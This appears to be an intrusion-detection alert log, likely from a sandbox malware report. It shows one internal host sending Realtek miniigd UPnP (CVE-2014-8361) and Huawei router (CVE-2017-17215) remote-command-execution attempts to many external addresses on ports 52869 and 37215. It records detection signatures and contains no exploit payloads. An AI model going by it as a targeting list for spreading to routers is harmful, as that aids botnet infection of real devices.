ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.63.35.114

Timestamp:	07/20/24-23:10:51.967169
SID:	2831300
Source Port:	42706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 188.92.250.60

Timestamp:	07/20/24-23:10:47.624070
SID:	2025132
Source Port:	50210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 106.69.59.16

Timestamp:	07/20/24-23:10:51.902171
SID:	2831300
Source Port:	38766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.50.27

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	50340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.184.127

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.254.57

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	50942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.155.184.46

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	50750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 63.181.216.41

Timestamp:	07/20/24-23:10:51.969301
SID:	2831300
Source Port:	51708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.240.160.72

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	53048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.251.91.98

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	45064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 77.15.142.198

Timestamp:	07/20/24-23:10:47.423773
SID:	2025132
Source Port:	57222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.47.138.9

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	34858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 195.72.16.230

Timestamp:	07/20/24-23:10:47.913064
SID:	2025132
Source Port:	52392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.97.65.81

Timestamp:	07/20/24-23:10:51.906948
SID:	2027339
Source Port:	48738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 194.51.38.79

Timestamp:	07/20/24-23:10:44.745358
SID:	2027339
Source Port:	55944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.129.238.186

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	37194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.98.191.97

Timestamp:	07/20/24-23:10:43.932768
SID:	2027339
Source Port:	59498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.211.242.101

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	37908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.138.33.16

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	45910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.58.36.234

Timestamp:	07/20/24-23:10:39.584903
SID:	2027339
Source Port:	38600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 91.12.191.106

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	41304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.103.253.49

Timestamp:	07/20/24-23:10:41.232384
SID:	2829579
Source Port:	50842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 196.232.84.109

Timestamp:	07/20/24-23:10:56.011228
SID:	2835222
Source Port:	43404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 25.93.29.118

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	42522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.175.126

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	59122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 192.27.39.245

Timestamp:	07/20/24-23:10:46.652480
SID:	2027339
Source Port:	47806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 105.163.214.37

Timestamp:	07/20/24-23:10:55.993044
SID:	2835222
Source Port:	47416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 175.251.123.186

Timestamp:	07/20/24-23:10:40.599066
SID:	2835222
Source Port:	46876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.209.83

Timestamp:	07/20/24-23:11:03.361094
SID:	2835222
Source Port:	34510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.115.131

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	45260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.242.117.249

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	39404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.246.170.171

Timestamp:	07/20/24-23:10:39.492375
SID:	2829579
Source Port:	55852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 44.227.239.111

Timestamp:	07/20/24-23:10:42.621194
SID:	2831300
Source Port:	37786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.77.226.178

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	59896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.145.235

Timestamp:	07/20/24-23:10:59.001293
SID:	2835222
Source Port:	58992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 162.144.96.77

Timestamp:	07/20/24-23:10:39.515932
SID:	2027339
Source Port:	60906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.184.181

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	55814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.157.193

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	52060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 134.173.80.60

Timestamp:	07/20/24-23:10:45.196798
SID:	2025132
Source Port:	44490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.141.111

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	53418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 102.181.59.60

Timestamp:	07/20/24-23:10:39.749374
SID:	2025132
Source Port:	42632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.12.13.252

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	49482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.162.123.109

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	47708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.182.31.89

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	56972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.44.99.94

Timestamp:	07/20/24-23:10:51.966763
SID:	2831300
Source Port:	32936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.199.32.90

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.190.160.63

Timestamp:	07/20/24-23:11:06.675236
SID:	2829579
Source Port:	41818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 212.22.178.123

Timestamp:	07/20/24-23:10:39.128788
SID:	2025132
Source Port:	40840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 89.171.240.248

Timestamp:	07/20/24-23:10:42.621912
SID:	2027339
Source Port:	42458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 116.138.138.226

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	52952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 175.109.109.84

Timestamp:	07/20/24-23:10:42.619429
SID:	2831300
Source Port:	41586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.191.154.193

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	50916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.175.59.149

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	34394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 66.88.126.168

Timestamp:	07/20/24-23:10:51.992632
SID:	2831300
Source Port:	57902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 66.29.130.220

Timestamp:	07/20/24-23:10:43.541787
SID:	2025132
Source Port:	43666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.205.20

Timestamp:	07/20/24-23:10:52.521111
SID:	2829579
Source Port:	47582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.34.85.223

Timestamp:	07/20/24-23:10:46.750827
SID:	2835222
Source Port:	49276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 219.152.75.176

Timestamp:	07/20/24-23:10:39.079541
SID:	2025132
Source Port:	37458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.186.174.2

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	42270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.155.11.69

Timestamp:	07/20/24-23:11:03.361259
SID:	2835222
Source Port:	59896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.252.49.118

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	47228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.39.7

Timestamp:	07/20/24-23:11:03.415682
SID:	2835222
Source Port:	41208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.131.191.105

Timestamp:	07/20/24-23:10:49.447315
SID:	2829579
Source Port:	43922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.238.161.20

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	45450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.236.94.127

Timestamp:	07/20/24-23:10:40.599066
SID:	2835222
Source Port:	52806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 118.30.197.237

Timestamp:	07/20/24-23:10:47.838651
SID:	2025132
Source Port:	34218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 157.33.175.112

Timestamp:	07/20/24-23:10:52.070107
SID:	2027339
Source Port:	53376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 125.46.245.158

Timestamp:	07/20/24-23:10:39.132797
SID:	2025132
Source Port:	44114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.168.188.87

Timestamp:	07/20/24-23:10:40.575225
SID:	2829579
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.203.56.30

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	60696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.118.233

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.12.194.251

Timestamp:	07/20/24-23:10:59.067929
SID:	2835222
Source Port:	36858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.190.172.77

Timestamp:	07/20/24-23:11:03.361095
SID:	2829579
Source Port:	48844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 186.136.242.161

Timestamp:	07/20/24-23:10:47.849322
SID:	2025132
Source Port:	47698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.229.194.177

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	36422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.199.64

Timestamp:	07/20/24-23:10:55.993044
SID:	2835222
Source Port:	41082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.192.167.73

Timestamp:	07/20/24-23:10:39.152961
SID:	2027339
Source Port:	55874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 23.213.111.232

Timestamp:	07/20/24-23:10:45.826059
SID:	2025132
Source Port:	38046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.74.90.50

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	46198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 220.85.62.111

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	50838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.66.113

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	41532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.19.135.245

Timestamp:	07/20/24-23:10:46.779706
SID:	2829579
Source Port:	56346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 78.179.192.192

Timestamp:	07/20/24-23:10:48.638182
SID:	2025132
Source Port:	33318
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.172.235

Timestamp:	07/20/24-23:10:39.469559
SID:	2829579
Source Port:	43856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 120.36.165.204

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	55106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 161.174.65.14

Timestamp:	07/20/24-23:10:51.925000
SID:	2831300
Source Port:	42642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.197.1.84

Timestamp:	07/20/24-23:10:47.958166
SID:	2027339
Source Port:	54760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.135.90.131

Timestamp:	07/20/24-23:10:56.011228
SID:	2835222
Source Port:	52608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 84.101.193.179

Timestamp:	07/20/24-23:10:44.240958
SID:	2027339
Source Port:	34226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 166.45.141.212

Timestamp:	07/20/24-23:10:47.889965
SID:	2025132
Source Port:	42208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.93.7.148

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	45774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 130.142.173.122

Timestamp:	07/20/24-23:10:44.571221
SID:	2025132
Source Port:	50154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.18.132.195

Timestamp:	07/20/24-23:10:42.248307
SID:	2835222
Source Port:	38994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.245.71.93

Timestamp:	07/20/24-23:10:52.581034
SID:	2835222
Source Port:	38496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.112.33.100

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	37294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.200.61.29

Timestamp:	07/20/24-23:10:56.011228
SID:	2835222
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.58.176.87

Timestamp:	07/20/24-23:10:47.654705
SID:	2027339
Source Port:	38562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.184.79.124

Timestamp:	07/20/24-23:10:52.004720
SID:	2027339
Source Port:	40028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.254.247.207

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	58662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 73.163.96.192

Timestamp:	07/20/24-23:10:42.620216
SID:	2831300
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.82.33

Timestamp:	07/20/24-23:10:42.248539
SID:	2829579
Source Port:	33470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

